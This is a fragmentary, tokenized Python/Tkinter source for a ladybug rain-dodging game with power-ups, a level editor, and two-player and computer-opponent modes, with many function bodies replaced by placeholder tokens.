40\n\n\ndef initAI(data):\n data.AITY = 225\n data.easyX = 200\n data.easyY = 300\n data.medX = 400\n data.hardX = 600\n data.enterY = 450\n data.difS = 4\n data.difM = 6\n data.difH = 8\n data.last = 500\n data.enterX = 575\n data.PUT = 450\n data.RST = 350\n data.YST = 250\n\n\n<function token>\n\n\ndef keyPressed(event, data):\n if data.mode == 'splashScreen':\n splashKeyPressed(event, data)\n elif data.mode == '1Player':\n playerKeyPressed(event, data)\n elif data.mode == '2Player':\n twoPlayerKeyPressed(event, data)\n elif data.mode == 'editor':\n editorKeyPressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedKeyPressed(event, data)\n elif data.mode == 'AI':\n AIKeyPressed(event, data)\n elif data.mode == 'difficulty':\n difficultyKeyPressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardKeyPressed(event, data)\n elif data.mode == 'help':\n helpKeyPressed(event, data)\n\n\n<function token>\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\n<function token>\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\n<function token>\n\n\ndef drawPowerups(canvas, data):\n for bug in data.scaryBug:\n bug.draw(canvas, data)\n for powerUp in data.powerUps:\n powerUp.draw(canvas, data)\n for powerUp in data.invincible:\n powerUp.draw(canvas, data)\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\n<function token>\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\n<function token>\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\n<function token>\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef levelCreatedMousePressed(event, data):\n checkHome(event, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\ndef powerUpAITimerFired(data):\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\ndef scoreboardTimerFired(data):\n difficultyTimerFired(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\n<function token>\n\n\ndef initsplashScreenNumbers(data):\n data.splashButtonY = 425\n data.p1ButtonX = 225\n data.p2ButtonX = 290\n data.edButton = 355\n data.diffButton = 425\n data.helpButton = 490\n data.sboardButton = 555\n data.hitPenalty = 75\n data.splashText = data.height / 2 - 20\n data.lives = 2\n data.levelMax = 8\n data.lane = 94\n data.Player1Min = 270\n data.Player1Max = 740\n data.homeX = 50\n data.homeY = 650\n initScoreBoardHelp(data)\n init1Player(data)\n\n\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\n<function token>\n<function token>\n\n\ndef keyPressed(event, data):\n if data.mode == 'splashScreen':\n splashKeyPressed(event, data)\n elif data.mode == '1Player':\n playerKeyPressed(event, data)\n elif data.mode == '2Player':\n twoPlayerKeyPressed(event, data)\n elif data.mode == 'editor':\n editorKeyPressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedKeyPressed(event, data)\n elif data.mode == 'AI':\n AIKeyPressed(event, data)\n elif data.mode == 'difficulty':\n difficultyKeyPressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardKeyPressed(event, data)\n elif data.mode == 'help':\n helpKeyPressed(event, data)\n\n\n<function token>\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\n<function token>\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\n<function token>\n\n\ndef drawPowerups(canvas, data):\n for bug in data.scaryBug:\n bug.draw(canvas, data)\n for powerUp in data.powerUps:\n powerUp.draw(canvas, data)\n for powerUp in data.invincible:\n powerUp.draw(canvas, data)\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\n<function token>\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\n<function token>\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\n<function token>\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 